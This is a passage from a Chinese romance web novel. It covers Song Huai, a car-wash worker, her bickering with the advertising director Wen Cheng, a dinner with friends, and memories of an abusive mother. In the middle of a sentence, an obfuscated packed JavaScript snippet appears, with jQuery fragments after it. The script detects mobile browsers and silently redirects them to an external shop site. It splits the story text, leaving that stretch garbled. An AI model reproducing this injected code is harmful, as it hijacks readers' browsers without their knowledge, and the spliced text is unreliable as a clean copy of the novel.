宋槐这辈子讨厌三样东西，烟、酒、男人，很不巧，温诚三条全站，甚至有时候认为他就是个混蛋，混蛋是没有绅士风度的，或者说他身上的礼节不会对她展现。
宋槐半夜回去躺沙发看手机，孟衫打来不少电话，说太晚了，她和季鹏飞把孩子接回家。回复个谢谢，又抬手摸摸牙，跑上小阁楼检查有没磕坏了。
小阁楼的卫生间很旧，水池子也浅，从墙角到屋顶都爬满了青苔，她看着镜子，忽然觉得自己很勇敢，像是打倒一个力量悬殊的敌人，因为她没有哭，没有示弱。
她很少哭，哪怕受委屈了也要憋着泪，咬住嘴唇，眼泪死也不往下淌。只是在高二那年，发生那件事之后，她的枕头就经常被泪濡湿，鬓角也黏在一处，母亲在哭，妹妹在哭，她也在哭，从那之后的所有记忆都被抹上一层灰色，没有光明，也像个密不透风的盒子，让所有人无法喘息。
同样没睡的还有温诚，他尝试着用心底那支画笔，给她过去的人生勾描轮廓，轰烈的，平淡的，苦涩的，用种种猜测往她身上套嵌...只可惜毫无头绪。
于是心想，算了，与他何干，她不值得耗费自己的脑细胞。
宋槐也在想，温诚到底是个什么样的人，说他刻薄，可他却能及时道歉，但说他好相处，他却处处贬低自己，说她倔，不懂变通，说她这辈子就那样了。
别人口中的温诚是个温和有礼，外形清隽舒朗，业务能力强的好上司，可在她眼中不是。
只某天洗车后余光扫见他，没忍住多瞥了几眼。他站在人群中非常醒目，仿佛窗外烈日只照他一人头上，又或者像梵高向日葵中唯一昂扬立挺的花。他和身边人有说有笑，嘴角弯起弧度，眼睫敛下神色多几分认真，周身散发着游刃有余的松弛感——一种她没有的东西，很羡慕的东西。
嘈杂声在耳边鼓动，作响，让宋槐想起他车里的发动机。
那日是九月末尾，公司大厅落地窗外有晚霞穿过，灼热和炽烈的红，半空浮沉在光影中闪现，还有那位显眼的人，在匆忙步伐间和宋槐对视，眼神明目张胆的落在她身上，脸，手臂。
宋槐仅仅在人群中眺一眼，几秒钟，再挪开。
温诚则是放慢步伐，毫不遮掩的，把目光都给她一个人。
宋槐本能的皱眉，她不喜欢这种眼神，下一秒就转身离开。
丢给温诚一个背影，他彻底停下脚步，目送瘦小身形被黑压压的人群淹没。
真有意思，躲什么呢？
-
温诚在某天把车钥匙交给她了。
告诉她，“上次说这周给我洗车，时间到了，我忙，没空给你开锁，自己拿钥匙干活去。”
宋槐有些诧异的接过，看套着黑色胶皮的钥匙，不轻不重的躺在自己手心，胶皮中间还有Q版樱木花道，穿红色球服，黄色板寸，圆而长的脸笑起来眼睛弯弯，还比个耶的手势。
“你就把它给我了，”她有点诧异，“不怕我丢了么？”
“你丢了它我卖了你。”
宋槐不说话了，离开前还留下一句，“你不敢，而且，拐-卖人口犯法。”
“卖人犯法，卖你不犯法。”他扫了眼宋槐一脸认真的表情，没忍住笑几声，转身离开。
研究半天那把钥匙，宋槐终于开了锁，用清理真皮座椅的安全洗液仔细擦拭，副驾那座位的脏还原封不动落着，擦完了，拍照给温诚发过去，准备爬出来时雨刷器忽然动起来，不知道碰哪儿了，她茫然的望着，上下动操作杆，却越刷越快还能喷水。
宋槐也不问他，自己在百度上搜，看着教程视频，一步步回归原位。她的学习能力很强，能靠自己不麻烦别人，几天后修制冷也一样，车主说空调制冷坏了，阿金没教过怎么修空调，而且当时店里就宋槐一个人，她依然现学，像模像样给人家修好。
“可以啊小槐，”孟衫知道以后还夸她，视线中看到她牛仔腰带间挂着车钥匙，一瞧就是男人的，“谁的钥匙啊。”
“哦，温诚的，”宋槐把制冷剂和洗液都归置好，蹲下用抹布擦地面脏水，“他说忙，最近不开车，就把钥匙给我了。”
“他做什么的来着？什么总监。”孟衫问。
“好像是...策划广告的。”
“嗷，那是不是有好多钱可以赚啊。”
宋槐摇摇头，嘴上说不知道，心里却在想，哼，那种肤浅的人，挣再多钱也没用。
温诚身上有两点让她看不顺眼，其一，他这个人，其二，他的工作。宋槐不明白广告策划什么工作内容，不是总监么？为什么需要加班赶工？广告有什么好策划的？她小时候扒电视机前看动画片就最讨厌广告。
洗车座椅后时隔半天温诚才回，“车钥匙呢？还给我。”
宋槐又把照片发了一遍，并如实告诉他，
“我不小心碰到你雨刷器了，最后还喷水，玻璃水我给你重新换了，不要钱。”
收到消息是温诚刚开会出来，最近库存几款滞销严重，公司想冷饭旧炒，把前几年流行的钻戒款式再营销一波，割点儿韭菜。温诚也挺无语，但没办法，端谁的碗服谁的管，吭哧吭哧加班加点把方案拟定，这才有功夫喘口气，几天没怼了，浑身不自在，指尖敲键盘给她发消息，
“这不是应该的么？你弄坏的你修，难不成指望我夸你吧。”
“快来取钥匙，我没时间给你送，我很忙，我也在挣钱，工作不分高低贵贱。”
“少说几句啊你，找别人教育去，我听见大道理就头疼。”
-
接下来的几天，宋槐被孟衫季鹏飞邀请去家里吃饭，一来崔宣想和衫阿姨再住一晚，二来快国庆了，火锅店肯定人满为患，只能提前庆祝，四个人理所当然成为朋友，头次凑一块儿吃炒菜。
季鹏飞在厨房踏实的切肉，小排，羊排，安安静静干活，沉默稳当。孟衫则大大咧咧拉着宋槐去超市买蔬菜，裙带菜，贡菜，还有凉拌菜的灵魂之一，石花菜，剩下则是好几斤牛羊肉，几扇排骨。两个人拎着好几袋，抬起沉重步伐爬楼梯，进家门后孟衫一扔，菜都散在地上，往沙发里一钻：“累死了，累死了......”
结婚后孟衫被季鹏飞当小孩儿宠着，十指不沾阳春水，买菜自然算立大功，孟衫大喇喇躺平邀功，“买回来了，自己捡菜，季鹏飞！季鹏飞！”
宋槐默默把菜都捡回塑料袋，又拿计算机算出每种菜的价格，孟衫睁眼一瞥，看她认真的点屏幕，“怎么了小槐。”
“我算算这些菜多少钱，然后一起转给你，六十四块七。”
“你干嘛这么见外。”
宋槐已经把钱转过去了，孟衫直接拒收，“这跟我过不去呢？”
“没，你和季叔已经做饭了，菜钱我必须给你。”
“不收啊，咱亲兄弟不明算账。”孟衫来南方住那么些年，从家里带来的习惯却刻进骨子里，豪爽大方讲义气，谁要为那点钱计较她跟谁急，“别！千万别给我转钱。”
中午吃饭时孟衫还想让孩子再待一天，“陪阿姨再住一晚哈，行不行呀。”
孩子童言无忌脱口而出，“你做我妈妈吧。”
孟衫一听特高兴，笑的前仰后合，“真的假的，那还是做你干妈吧，不然你妈妈要吃醋了，或者给你妈妈打个电话，通知她，说你有新妈妈了。”然后下一秒，发现宋槐不自然的表情，“怎么了，没事儿吧。”
宋槐摇摇头。
“你们妈妈呢？还在老家？”
“啊，对，还在。”
“都还好吧。”
宋槐攥紧筷子，挑一粒米饭，勉强挤出个笑，“挺好的，都挺好的。”
宋槐嘴硬不是一回两回，她不想对任何人提起，对别人来说妈妈是爱的象征，于她而言，则是痛苦到不能再痛苦的东西，伤口愈合，里面肉却还在溃烂，烂出脓疱，戳一下能疼死。
她妈妈叫宋妍，长得很漂亮，柳叶弯眉，红润的嘴唇，水灵灵的眼睛，黑而浓密的卷发，宋妍经常涂红指甲，很长，按理来说，有个好看的妈妈是大部分孩子的骄傲，可宋槐却相反，因为就是那好看双手，曾狠狠掐过宋槐的脖子，又或者抱起她来，两人在车站前狂奔，高跟鞋敲打地面，气都喘不顺，望那已经开走的火车。
宋妍经常愤懑，她告诉宋槐，你爸远在南方，在广州十三行搞生意，嫌咱们这小破地方没机场，每次来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054587|149140||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回都得坐火车——破旧生锈的，瓜子花生矿泉水的绿皮火车。
随之那张大红唇上下动着，黏腻的，滚烫的红，“听见了？以后别再让人说野种，骂你也行，别给老娘听见。”
“那我爸叫什么名字。”
宋妍不告她。
2010年某个炽热之夏，当时她已经十岁了，关于三四岁的记忆早忘的一干二净，所以那位十三行的生意人是团黑影，模糊不清，如有具象覆盖在她身上，笼罩黑暗，将母女两人捆绑。
-
回神儿是因为后槽牙磕在骨头上，宋槐脑子嗡一响，嘶声看筷子里那块被啃干净的排骨，没肉了，大概走神太长时间。
孟衫惊讶的问这想什么呢，转眼又往她碗里夹几块，“吃啊，管够，锅里还有，别可着那骨头啃了，我会觉得我俩招待不周。”
晚上安顿好妹妹，独自坐公交回火锅店，汽车开过几站地心情才彻底平复，又买矿泉水猛灌几口水，后齿的疼痛终于有所缓解。
她脑海中宋妍的样子好不容易被淡忘，现在却更清晰，良久，跑上阁楼，再次站镜子前观察自己那张脸，把两个灯都打开，光线充分照射，她掌心紧贴脸颊，哪里像？对，那双眼，眼角多几分弧度，像猫的眼睛一样，可她眼中多得是天真神态，淡淡的，没一丝欲色和谄媚。
只要她不笑，永远绷着脸，就是普普通通，清清白白的人。
次日早晨温诚给她发了消息，宋槐没顾上看，首先准备早饭，面包或茶叶蛋，随便往嘴里一塞完事，再背对晨光拉开卷闸门，半空中如金粒的浮沉一落，开始准备洗车，给库里滞留的车保养。
每日如此，日复一日，过的很枯燥。宋槐不像温诚，是个自己找乐趣寻开心的人，他会在工作时听歌，在会议间装点盆栽，会在加班后坐吧台喝酒，
又比如，温诚会亲自来找她斗嘴，往洗车行门口一站，再款款走进去，跟回自己家似的理所当然，“来拿车钥匙。”
“稍微等会儿啊。”
“想私吞车主财产？”
“我不稀罕，”宋槐继续擦车，“就算出去偷车，也不会偷你的。”
“是吗？我的车很恶心？”
“很晦气。”
温诚也只是点点头，完全没把她话当回事，闲适坦荡的往那一站，“你那点怼我的话毫无杀伤力。”
“能少说几句么？不要影响我洗车。”她只余光看到他就烦，“这不是你家。”
温诚大笑起来，上身微微后仰，这女人也真是。
“......”他开始呛她，“还是那句话，服务行业都像你这样态度就完了，别毁了我今天的好心情。”
“大清早的，跑过来拿钥匙还得被你骂几句。”
“好歹我在这洗车又换汽配，受的待遇也该好点吧。”
宋槐听见温诚声音略有疲惫，看他眼下发青，应该是熬夜工作或加班开会了，她声音终于没那么冷硬，“我给你钥匙。”
当温诚把钥匙握手心时，宋槐听到耳边认真低沉的话语，“和平相处，别总横眉冷对的，我是你敌人？”
那倒不至于。
宋槐摇摇头。
“国庆还开门么？”他问。
“正常开，我全年无休。”
“真不会累死？”
“死了再说。”
“.......”温诚真有够无语。
他原本想问问宋槐国庆什么安排，非常友好的对话交流。他今年国庆说不准要不要回老家，陪陪自己亲爹，老爷子独居惯了也不再给他打电话，纯粹沉浸在周围公园和中心广场中，毕竟那小区很贵，设施齐全，从房产证到承重墙都闪着人民币的光。
前些年每到该交水电费，物业费，温诚刚把钱汇过去，老爷子必在电话里说道，他说，年轻人不啃老在外面会很辛苦的，自己在外开垦，就不要再负担他的费用了。
这话磨的温诚耳朵起茧，他通常无奈笑几声，“还开垦，你当我什么呢，黄牛犁地么？我倒没那么多苦力要做，你那几个费用我还能交得起。”是累了点，但一点不苦，人生在世，没有喝露水就能苟活的，工作这么些年，他也没矫情过。